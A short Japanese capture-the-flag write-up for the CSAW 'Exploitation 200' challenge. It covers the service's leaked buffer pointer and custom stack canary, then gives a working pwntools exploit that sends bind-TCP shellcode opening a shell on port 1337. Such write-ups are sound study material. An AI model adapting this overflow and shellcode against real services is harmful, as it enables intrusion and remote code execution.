Exploitation 200

nc 128.238.66.212 31338
exploit2

与えられるバイナリは0.0.0.0:31338にsocketを開くので、これに接続する。 応答の先頭には変な文字が出力されている。

$ ./exploit2 &
[2] 9327
$ nc localhost 31338 | xxd
Got a connection from 127.0.0.1 on port 34126
00000000: cc30 c6ff fbb0 4102 5765 6c63 6f6d 6520  .0....A.Welcome 
00000010: 746f 2043 5341 5720 4354 462e 2020 4578  to CSAW CTF.  Ex
00000020: 706c 6f69 7461 7469 6f6e 2032 2077 696c  ploitation 2 wil
00000030: 6c20 6265 2061 206c 6974 746c 6520 6861  l be a little ha
00000040: 7264 6572 2074 6869 7320 7965 6172 2e20  rder this year. 
00000050: 2049 6e73 6572 7420 796f 7572 2065 7870   Insert your exp

00000060: 6c6f 6974 2068 6572 653a 00              loit here:.

逆アセンブルして読むと以下が分かる。

  • 中でforkしている
  • buffer overflowがある
  • canaryがいる (gccによるものでない、自前実装)
  • 出力の先頭4byteはbufferへのpointer
  • 次の4byteはcanaryの値

shellに繋がるportを開くshellcodeを投げ込めばよいようだ。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools

context.log_level = 'debug'
p = remote('0.0.0.0', 31338)

buf = u32(p.recv(4))
canary = u32(p.recv(4))

# http://shell-storm.org/shellcode/files/shellcode-882.php
# Shell Bind TCP Shellcode Port 1337
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

payload = ''
payload += shellcode   # ebp - 0x80c
payload += 'A' * (0x800 - len(shellcode))
payload += p32(canary) # ebp - 0xc
payload += 'A' * 4     # ebp - 0x8, ebx
payload += 'A' * 4     # ebp - 0x4, edi
payload += 'A' * 4     # ebp, ebp
payload += p32(buf)    # ret
payload += 'A' * (0x1000 - len(payload))
p.send(payload)